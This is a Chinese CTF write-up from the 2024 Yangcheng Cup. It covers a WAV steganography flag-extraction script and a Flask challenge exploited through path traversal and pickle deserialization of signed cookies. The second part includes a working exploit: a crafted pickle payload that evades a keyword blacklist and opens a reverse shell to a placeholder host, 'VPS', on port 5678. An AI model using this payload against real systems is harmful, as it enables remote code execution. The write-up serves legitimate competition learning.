2024羊城杯

Hiden

对原有文本进行rot47和rot13解密得到wav的加密脚本

import wave 

with open('flag.txt', 'rb') as f:
    txt_data = f.read()
    file_len = len(txt_data)
    txt_data = file_len.to_bytes(3, byteorder = 'little') + txt_data

with wave.open("test.wav", "rb") as f:
    attrib = f.getparams()    
    wav_data = bytearray( f.readframes(-1) )

for index in range(len(txt_data)):
    wav_data[index * 4] = txt_data[index]
    
with wave.open("hiden.wav", "wb") as f:
    f.setparams(attrib) 
    f.writeframes(wav_data)

对脚本进行逆向即可得到flag

import wave

with wave.open("hiden.wav", "rb") as f:
    attrib = f.getparams()
    wav_data = bytearray(f.readframes(-1))

hidden_data = bytearray()
for index in range(0, len(wav_data), 4):
    hidden_data.append(wav_data[index])

file_len = int.from_bytes(hidden_data[:3], byteorder='little')
extracted_data = hidden_data[3:file_len + 3]

print(extracted_data.decode('utf-8'))

Lyrics For You(pickle反序列化)

通过文件读取读取源码

# app.py

import os
import random

# from config.secret_key import secret_code
from flask import Flask, make_response, request, render_template
from cookie import set_cookie, cookie_check, get_cookie
import pickle

app = Flask(__name__)
app.secret_key = random.randbytes(16)

class UserData:
    def __init__(self, username):
        self.username = username

def Waf(data):
    blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
    valid = False
    for word in blacklist:
        if word.lower() in data.lower():
            valid = True
            break
    return valid


@app.route("/", methods=['GET'])
def index():
    return render_template('index.html')


@app.route("/lyrics", methods=['GET'])
def lyrics():
    resp = make_response()
    resp.headers["Content-Type"] = 'text/plain; charset=UTF-8'
    query = request.args.get("lyrics")
    path = os.path.join(os.getcwd() + "/lyrics", query)

    try:
        with open(path) as f:
            res = f.read()
    except Exception as e:
        return "No lyrics found"
    return res


@app.route("/login", methods=['POST', 'GET'])
def login():
    if request.method == 'POST':
        username = request.form["username"]
        user = UserData(username)
        res = {"username": user.username}
        return set_cookie("user", res, secret=secret_code)
    return render_template('login.html')


@app.route("/board", methods=['GET'])
def board():
    invalid = cookie_check("user", secret=secret_code)
    if invalid:
        return "Nope, invalid code get out!"

    data = get_cookie("user", secret=secret_code)

    if isinstance(data, bytes):
        a = pickle.loads(data)
        data = str(data, encoding="utf-8")

    if "username" not in data:
        return render_template('user.html', name="guest")
    if data["username"] == "admin":
        return render_template('admin.html', name=data["username"])
    if data["username"] != "admin":
        return render_template('user.html', name=data["username"])

if __name__ == "__main__":
    os.chdir(os.path.dirname(__file__))
    app.run(host="0.0.0.0", port=8080)

分析cookie.py逻辑,构造exp如下，直接反弹shell

import base64
import hashlib
import hmac
import pickle

from flask import make_response, request

unicode = str
basestring = str


# Quoted from python bottle template, thanks :D

def cookie_encode(data, key):
    msg = base64.b64encode(pickle.dumps(data, -1))
    sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
    return tob('!') + sig + tob('?') + msg


def cookie_decode(data, key):
    data = tob(data)
    if cookie_is_encoded(data):
        sig, msg = data.split(tob('?'), 1)
        if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())):
            return pickle.loads(base64.b64decode(msg))
    return None


def waf(data):
    blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
    valid = False
    for word in blacklist:
        if word in data:
            valid = True
            # print(word)
            break
    return valid


def cookie_check(key, secret=None):
    a = request.cookies.get(key)
    data = tob(request.cookies.get(key))
    if data:
        if cookie_is_encoded(data):
            sig, msg = data.split(tob('?'), 1)
            if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest())):
                res = base64.b64decode(msg)
                if waf(res):
                    return True
                else:
                    return False
        return True
    else:
        return False


def tob(s, enc='utf8'):
    return s.encode(enc) if isinstance(s, unicode) else bytes(s)


def get_cookie(key, default=None, secret=None):
    value = request.cookies.get(key)
    if secret and value:
        dec = cookie_decode(value, secret)
        return dec[1] if dec and dec[0] == key else default
    return value or default


def cookie_is_encoded(data):
    return bool(data.startswith(tob('!')) and tob('?') in data)


def _lscmp(a, b):
    return not sum(0 if x == y else 1 for x, y in zip(a, b)) and len(a) == len(b)


def set_cookie(name, value, secret=None, **options):
    if secret:
        value = touni(cookie_encode((name, value), secret))
        resp = make_response("success")
        resp.set_cookie("user", value, max_age=3600)
        return resp
    elif not isinstance(value, basestring):
        raise TypeError('Secret key missing for non-string Cookie.')

    if len(value) > 4096:
        raise ValueError('Cookie value to long.')


def touni(s, enc='utf8', err='strict'):
    return s.decode(enc, err) if isinstance(s, bytes) else unicode(s)


opcode=b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/VPS/5678 0>&1"'
o.'''

secret="EnjoyThePlayTime123456"
exp = touni(cookie_encode(('user', opcode), secret))
print(exp)